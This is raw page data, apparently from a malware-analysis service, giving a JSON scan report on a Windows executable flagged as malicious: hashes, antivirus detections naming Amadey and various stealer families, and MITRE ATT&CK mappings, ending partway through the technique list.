BIAm1iSRKVNK63WgRrTqD4ALyoDbNKuyefo8f+EnsCP6J19hpsU/Lo/jNbJIC5P+GHwTaJlylcCEIWyzLUOsOAnHzr1ATheLAIYgy9wb+45WkZCOGGbwKeWEXzmeIDjQx58ft+NE94hnBxzqgB2HaDM5e3HWo0LLHjzXP/BANoff4fj5nHUDI7iqM2LY04KPnwfXzwYxpejLnmyU4/sKoBUWeZaB1jw1mdt+gApFUCNcUzJ2k7Bi1lT8DEXar914NSEDfWPLXtqQKLDKC3q7wYW/P0AQgngqHXXcpa1h4KPDMlZ147bUeezosFvxumAqbQLxP13wQEASkV4zEVZu1WWs6zJ8vpJKxqnBnFm2ogmsrQIIPBVHeP7AqgLrXbcgTqyvIEsbwxQ8JkBWs97OBfqq+ocqApAXWj1BcunTWia7cfZ4F2cX+jFxXD3HoDM7g7QBqukfQHUhSZbPmNUsp7vw4XFO7i41A3DcmcRIE01wApQu/WYWJ9IYxzHIZFIIJmI7w+gLrSm2QHKmlneiwvhHlyKdOHySidaVjuKANJ7tqGUpnkJMJlMIB6PIxHf1gFQnYTqQjs7zyy/I1tuiNym4LdwZbUdV5/eUAFwFbMvOCBQkbLMY7EYtrdjlQEEUfmjMD2zLE98EE0FIsoSCPpFKPA8UlySAm8rADEdgGRKcYB929mk1UhIlRxgLasHnk+BSynrzrLe2tqSpQsQ59LyJxk7GWQlHkAWyFNfRkCOhB2J+t6Rdkh5ZRwZvMspRVY4/9OiCJ4cSVFwjjJP0Nqz9S+IuaELwAYOS3sA2H/0vgGz3PkhMtH7FrsLdpcbVocbZqsTxgrPqXWz43YJ4OP1v7/+BnvlpAT3X7SfAAAAAElFTkSuQmCC66:T590,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD80lEQVR4Xu2W21cTVxTG/b/6Tq22VuSi4DWiLXYtXAoiIOiChNwDMQawSDCESwiEgNTWVmpfbSH2wSf7ZN/oCyHJZGYyueDXfWZIMkwyQmwXfaiz1rfO5JyZs3/7O/ucyZEjH6//+rI63RgYtB2qBi0OFAEsNgf+eLuJ12/+JL39V/V1t6diyyBKDtiH8et69B9pfeMVNqK/Y+OVonW6/436mLTPMu0BMJkdSAlpZDMSMlL6A6S8J1WQ9lkWQ8zktAB2ufMwVQaQy+flgbW1l3jxy+sDae3nl8jnsrKi0WhFFTL/5NqULHZfESC/C8AmrutbQv3dMBr6F9FoXMBpcwhnrCE0O4NoHprDOc8Mznun5Wf/2txEJi2UWa1VVQCXbKswOJ7A4FxBy/AyrngiuOpdwldji2gdX8A1Xwjf+OdVAHxZ5lU5wH7sqADavD+gbfR7XH/4FDcekXyraPc/QUdgBbdml9EZjKBrIVwEyBIAm1iSRKVNK63WgRrTqD4ALyoDbNKuyefo8f+EnsCP6J19hpsU/Lo/jNbJIC5P+GHwTaJlylcCEIWyzLUOsOAnHzr1ATheLAIYgy9wb+45WkZCOGGbwKeWEXzmeIDjQx58ft+NE94hnBxzqgB2HaDM5e3HWo0LLHjzXP/BANoff4fj5nHUDI7iqM2LY04KPnwfXzwYxpejLnmyU4/sKoBUWeZaB1jw1mdt+gApFUCNcUzJ2k7Bi1lT8DEXar914NSEDfWPLXtqQKLDKC3q7wYW/P0AQgngqHXXcpa1h4KPDMlZ147bUeezosFvxumAqbQLxP13wQEASkV4zEVZu1WWs6zJ8vpJKxqnBnFm2ogmsrQIIPBVHeP7AqgLrXbcgTqyvIEsbwxQ8JkBWs97OBfqq+ocqApAXWj1BcunTWia7cfZ4F2cX+jFxXD3HoDM7g7QBqukfQHUhSZbPmNUsp7vw4XFO7i41A3DcmcRIE01wApQu/WYWJ9IYxzHIZFIIJmI7w+gLrSm2QHKmlneiwvhHlyKdOHySidaVjuKANJ7tqGUpnkJMJlMIB6PIxHf1gFQnYTqQjs7zyy/I1tuiNym4LdwZbUdV5/eUAFwFbMvOCBQkbLMY7EYtrdjlQEEUfmjMD2zLE98EE0FIsoSCPpFKPA8UlySAm8rADEdgGRKcYB929mk1UhIlRxgLasHnk+BSynrzrLe2tqSpQsQ59LyJxk7GWQlHkAWyFNfRkCOhB2J+t6Rdkh5ZRwZvMspRVY4/9OiCJ4cSVFwjjJP0Nqz9S+IuaELwAYOS3sA2H/0vgGz3PkhMtH7FrsLdpcbVocbZqsTxgrPqXWz43YJ4OP1v7/+BnvlpAT3X7SfAAAAAElFTkSuQmCC67:T590,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD80lEQVR4Xu2W21cTVxTG/b/6Tq22VuSi4DWiLXYtXAoiIOiChNwDMQawSDCESwiEgNTWVmpfbSH2wSf7ZN/oCyHJZGYyueDXfWZIMkwyQmwXfaiz1rfO5JyZs3/7O/ucyZEjH6//+rI63RgYtB2qBi0OFAEsNgf+eLuJ12/+JL39V/V1t6diyyBKDtiH8et69B9pfeMVNqK/Y+OVonW6/436mLTPMu0BMJkdSAlpZDMSMlL6A6S8J1WQ9lkWQ8zktAB2ufMwVQaQy+flgbW1l3jxy+sDae3nl8jnsrKi0WhFFTL/5NqULHZfESC/C8AmrutbQv3dMBr6F9FoXMBpcwhnrCE0O4NoHprDOc8Mznun5Wf/2txEJi2UWa1VVQCXbKswOJ7A4FxBy/AyrngiuOpdwldji2gdX8A1Xwjf+OdVAHxZ5lU5wH7sqADavD+gbfR7XH/4FDcekXyraPc/QUdgBbdml9EZjKBrIVwEyBIAm1iSRKVNK63WgRrTqD4ALyoDbNKuyefo8f+EnsCP6J19hpsU/Lo/jNbJIC5P+GHwTaJlylcCEIWyzLUOsOAnHzr1ATheLAIYgy9wb+45WkZCOGGbwKeWEXzmeIDjQx58ft+NE94hnBxzqgB2HaDM5e3HWo0LLHjzXP/BANoff4fj5nHUDI7iqM2LY04KPnwfXzwYxpejLnmyU4/sKoBUWeZaB1jw1mdt+gApFUCNcUzJ2k7Bi1lT8DEXar914NSEDfWPLXtqQKLDKC3q7wYW/P0AQgngqHXXcpa1h4KPDMlZ147bUeezosFvxumAqbQLxP13wQEASkV4zEVZu1WWs6zJ8vpJKxqnBnFm2ogmsrQIIPBVHeP7AqgLrXbcgTqyvIEsbwxQ8JkBWs97OBfqq+ocqApAXWj1BcunTWia7cfZ4F2cX+jFxXD3HoDM7g7QBqukfQHUhSZbPmNUsp7vw4XFO7i41A3DcmcRIE01wApQu/WYWJ9IYxzHIZFIIJmI7w+gLrSm2QHKmlneiwvhHlyKdOHySidaVjuKANJ7tqGUpnkJMJlMIB6PIxHf1gFQnYTqQjs7zyy/I1tuiNym4LdwZbUdV5/eUAFwFbMvOCBQkbLMY7EYtrdjlQEEUfmjMD2zLE98EE0FIsoSCPpFKPA8UlySAm8rADEdgGRKcYB929mk1UhIlRxgLasHnk+BSynrzrLe2tqSpQsQ59LyJxk7GWQlHkAWyFNfRkCOhB2J+t6Rdkh5ZRwZvMspRVY4/9OiCJ4cSVFwjjJP0Nqz9S+IuaELwAYOS3sA2H/0vgGz3PkhMtH7FrsLdpcbVocbZqsTxgrPqXWz43YJ4OP1v7/+BnvlpAT3X7SfAAAAAElFTkSuQmCC68:T590,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD80lEQVR4Xu2W21cTVxTG/b/6Tq22VuSi4DWiLXYtXAoiIOiChNwDMQawSDCESwiEgNTWVmpfbSH2wSf7ZN/oCyHJZGYyueDXfWZIMkwyQmwXfaiz1rfO5JyZs3/7O/ucyZEjH6//+rI63RgYtB2qBi0OFAEsNgf+eLuJ12/+JL39V/V1t6diyyBKDtiH8et69B9pfeMVNqK/Y+OVonW6/436mLTPMu0BMJkdSAlpZDMSMlL6A6S8J1WQ9lkWQ8zktAB2ufMwVQaQy+flgbW1l3jxy+sDae3nl8jnsrKi0WhFFTL/5NqULHZfESC/C8AmrutbQv3dMBr6F9FoXMBpcwhnrCE0O4NoHprDOc8Mznun5Wf/2txEJi2UWa1VVQCXbKswOJ7A4FxBy/AyrngiuOpdwldji2gdX8A1Xwjf+OdVAHxZ5lU5wH7sqADavD+gbfR7XH/4FDcekXyraPc/QUdgBbdml9EZjKBrIVwEyBIAm1iSRKVNK63WgRrTqD4ALyoDbNKuyefo8f+EnsCP6J19hpsU/Lo/jNbJIC5P+GHwTaJlylcCEIWyzLUOsOAnHzr1ATheLAIYgy9wb+45WkZCOGGbwKeWEXzmeIDjQx58ft+NE94hnBxzqgB2HaDM5e3HWo0LLHjzXP/BANoff4fj5nHUDI7iqM2LY04KPnwfXzwYxpejLnmyU4/sKoBUWeZaB1jw1mdt+gApFUCNcUzJ2k7Bi1lT8DEXar914NSEDfWPLXtqQKLDKC3q7wYW/P0AQgngqHXXcpa1h4KPDMlZ147bUeezosFvxumAqbQLxP13wQEASkV4zEVZu1WWs6zJ8vpJKxqnBnFm2ogmsrQIIPBVHeP7AqgLrXbcgTqyvIEsbwxQ8JkBWs97OBfqq+ocqApAXWj1BcunTWia7cfZ4F2cX+jFxXD3HoDM7g7QBqukfQHUhSZbPmNUsp7vw4XFO7i41A3DcmcRIE01wApQu/WYWJ9IYxzHIZFIIJmI7w+gLrSm2QHKmlneiwvhHlyKdOHySidaVjuKANJ7tqGUpnkJMJlMIB6PIxHf1gFQnYTqQjs7zyy/I1tuiNym4LdwZbUdV5/eUAFwFbMvOCBQkbLMY7EYtrdjlQEEUfmjMD2zLE98EE0FIsoSCPpFKPA8UlySAm8rADEdgGRKcYB929mk1UhIlRxgLasHnk+BSynrzrLe2tqSpQsQ59LyJxk7GWQlHkAWyFNfRkCOhB2J+t6Rdkh5ZRwZvMspRVY4/9OiCJ4cSVFwjjJP0Nqz9S+IuaELwAYOS3sA2H/0vgGz3PkhMtH7FrsLdpcbVocbZqsTxgrPqXWz43YJ4OP1v7/+BnvlpAT3X7SfAAAAAElFTkSuQmCC1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"c36ed034d523da1f54d43176334d4bda9f9adcb940948646b43902a620ebda45","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790305213436,"unified_at":"2026-09-25T03:00:13.436Z","metadata":{"hashes":{"sha256":"c36ed034d523da1f54d43176334d4bda9f9adcb940948646b43902a620ebda45","sha1":"c1b667b0ff98bbb1d2495b4fd5dda1eeca494799","md5":"156f4a8f006779a3493d9d476f1e8dda","sha512":"da674d456daec0f6bd41e1c62e0e74b1cc0e9269fe467e1ea90a5b15cd0d4505556634e1ce0ce962b61a94e7357d3f414628101a12cefa1d50a4ed38584e2200","ssdeep":"6144:lHF0VKkWrb4QC1uwzV3ohQU1d+/mN9peVHzsAyuWZGUf/Sdfy9103T7fms4AO5kP:lHF0VKkWrb4QDwR4QWdyzsAlWZBR8qM","ssdeep_chunks":["6144:lHF0VKk","6144:HF0VKkW","6144:F0VKkWr","6144:0VKkWrb","6144:VKkWrb4","6144:KkWrb4Q","6144:kWrb4QC","6144:Wrb4QC1","6144:rb4QC1u","6144:b4QC1uw","6144:4QC1uwz","6144:QC1uwzV","6144:C1uwzV3","6144:1uwzV3o","6144:uwzV3oh","6144:wzV3ohQ","6144:zV3ohQU","6144:V3ohQU1","6144:3ohQU1d","6144:ohQU1d+","6144:hQU1d+/","6144:QU1d+/m","6144:U1d+/mN","6144:1d+/mN9","6144:d+/mN9p","6144:+/mN9pe","6144:/mN9peV","6144:mN9peVH","6144:N9peVHz","6144:9peVHzs","6144:peVHzsA","6144:eVHzsAy","6144:VHzsAyu","6144:HzsAyuW","6144:zsAyuWZ","6144:sAyuWZG","6144:AyuWZGU","6144:yuWZGUf","6144:uWZGUf/","6144:WZGUf/S","6144:ZGUf/Sd","6144:GUf/Sdf","6144:Uf/Sdfy","6144:f/Sdfy9","6144:/Sdfy91","6144:Sdfy910","6144:dfy9103","6144:fy9103T","6144:y9103T7","6144:9103T7f","6144:103T7fm","6144:03T7fms","6144:3T7fms4","6144:T7fms4A","6144:7fms4AO","6144:fms4AO5","6144:ms4AO5k","6144:s4AO5kP","12288:lHF0VKk","12288:HF0VKkW","12288:F0VKkWr","12288:0VKkWrb","12288:VKkWrb4","12288:KkWrb4Q","12288:kWrb4QC","12288:Wrb4QC1","12288:rb4QC1u","12288:b4QC1uw","12288:4QC1uwz","12288:QC1uwzV","12288:C1uwzV3","12288:1uwzV3o","12288:uwzV3oh","12288:wzV3ohQ","12288:zV3ohQU","12288:V3ohQU1","12288:3ohQU1d","12288:ohQU1d+","12288:hQU1d+/","12288:QU1d+/m","12288:U1d+/mN","12288:1d+/mN9","12288:d+/mN9p","12288:+/mN9pe","12288:/mN9peV","12288:mN9peVH","12288:N9peVHz","12288:9peVHzs","12288:peVHzsA","12288:eVHzsAy","12288:VHzsAyu","12288:HzsAyuW","12288:zsAyuWZ","12288:sAyuWZG","12288:AyuWZGU","12288:yuWZGUf","12288:uWZGUf/","12288:WZGUf/S","12288:ZGUf/Sd","12288:GUf/Sdf","12288:Uf/Sdfy","12288:f/Sdfy9","12288:/Sdfy91","12288:Sdfy910","12288:dfy9103","12288:fy9103T","12288:y9103T7","12288:9103T7f","12288:103T7fm","12288:03T7fms","12288:3T7fms4","12288:T7fms4A","12288:7fms4AO","12288:fms4AO5","12288:ms4AO5k","12288:s4AO5kP","6144:kWrb4QD","6144:Wrb4QDw","6144:rb4QDwR","6144:b4QDwR4","6144:4QDwR4Q","6144:QDwR4QW","6144:DwR4QWd","6144:wR4QWdy","6144:R4QWdyz","6144:4QWdyzs","6144:QWdyzsA","6144:WdyzsAl","6144:dyzsAlW","6144:yzsAlWZ","6144:zsAlWZB","6144:sAlWZBR","6144:AlWZBR8","6144:lWZBR8q","6144:WZBR8qM"],"imphash":"1e7280afbf80c2800b272220ce0718da"},"file_info":{"file_name":"bounty-38813904328784694","file_type":["peexe","executable"],"file_type_id":"exe","file_size":425984,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1753294959000,"last_seen":1762367544000,"last_multi_scan":1762367544000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["commodity","cryptocurrencytheft","loader","backdoor","lummastealer","amadeyloader","informationstealer","stealcv2","mixloader","amadeyclipper","credentialharvesting","redlinestealer","criminal","downloader","evasive","suspicious","new_domain","modular","rat","njrat","quasar","opensource","targeted","xworm","asyncrat","malicious","infostealer"]},"stats":{"av":{"malicious_count":20,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":128},"sandbox_signatures":{"informative_count":364,"suspicious_count":28,"malicious_count":21,"total":413},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win.Amadey","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"GrayWare/Win32.Wacapew","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"malicious","threat_name":"Malware_-10","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"HEUR/AGEN.1379793","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Doina.48214","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Doina.48214 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win32/TrojanDownloader.Amadey.A trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Amadey.tr","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"HVM:Trojan/AntiAv.b","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan-Downloader ( 0057994f1 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Deyma.ldghhk","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/Amadey-O","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"malicious","threat_name":"ACL/Trojan Generic.BPCH","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/Agent.DJJ.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.GenusC.IMA","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"BScope.TrojanRansom.Convagent","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware_58.6","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Downloader.Amadey.Win32.636","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Doina.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"malicious","value":"Recently registered domain detected"},{"type":"informative","value":"Short-term SSL certificate detected"},{"type":"informative","value":"Recently renewed or created SSL certificate"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","identifiers":[{"type":"malicious","value":"Application communicates with a malicious domain"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Contains ability to start a process (Dotnet)"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Found Native API in Dotnet file"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"malicious","value":"Contains native function calls"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to dynamically load libraries"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"malicious","value":"Calls an API typically used to execute an application"},{"type":"suspicious","value":"Imports suspicious APIs"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Found named pipe like strings"},{"type":"informative","value":"Connects to LPC ports"},{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Able to retrieve command line parameters of the running process"},{"type":"informative","value":"Able to import GetCommandLine API, which retrieves the command line string for the current process"},{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads rich edit control libraries"},{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains ability to execute windows services"},{"type":"informative","value":"Contains ability to open a service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Able to create/load registry keys (API string)"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Able to delete registry key/value (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Persistence","technique":"Local Account","attack_id":"T1136.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1136/001","identifiers":[{"type":"informative","value":"Contains ability to create local account"},{"type":"informative","value":"Contains ability to create a new user account (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Contains ability to create/control drivers (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Contains reference to Hijacked CLSID(s)"},{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Privilege 